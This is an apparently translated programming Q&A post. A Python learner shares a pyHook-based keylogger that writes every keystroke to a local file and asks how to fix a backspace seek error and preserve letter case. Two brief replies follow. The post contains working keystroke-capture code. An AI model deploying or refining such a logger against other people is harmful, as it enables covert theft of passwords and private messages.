由于我目前正在学习Python,因此我偶然发现了一段有趣的YouTube视频,展示了如何构建一个简单的Python键盘记录。我决定稍微修改它,并使其能够在用户按下退格键时删除最后一个字符,所以我添加了一个if语句和seek和truncate方法。当按下退格键(Python)时,键盘记录引发错误
import pyHook, pythoncom, os
file_log = "D:/Python Projects/log.txt"
def OnKeyboardEvent(event):
global keylog
keylog = chr(event.Ascii)
with open(file_log, "a") as fl:
if event.Ascii == 13:
fl.write("\n")
elif event.Ascii == 8:
fl.seek(-1, os.SEEK_END)
fl.truncate()
else:
fl.write(keylog)
fl.close()
return True
hooking = pyHook.HookManager()
hooking.KeyDown = OnKeyboardEvent
hooking.HookKeyboard()
pythoncom.PumpMessages()
然而,当我尝试运行代码,并在退格键被按下时,我收到以下错误:
io.UnsupportedOperation: can't do nonzero end-relative seeks
因此,谁能帮助我? 此外,现在键盘记录器将每个字符存储为大写字母。有没有一种方法可以修改脚本来识别角色是低位还是高位字母,并以这种方式进行存储?
看起来你遇到了[这个其他问题]中描述的问题(https://stackoverflow.com/questions/21533391/seeking-from-end-of-file-throwing-unsupported-exception)。 –
你不应该让你的'keylog'全局变量。这没有理由。 – blubberdiblub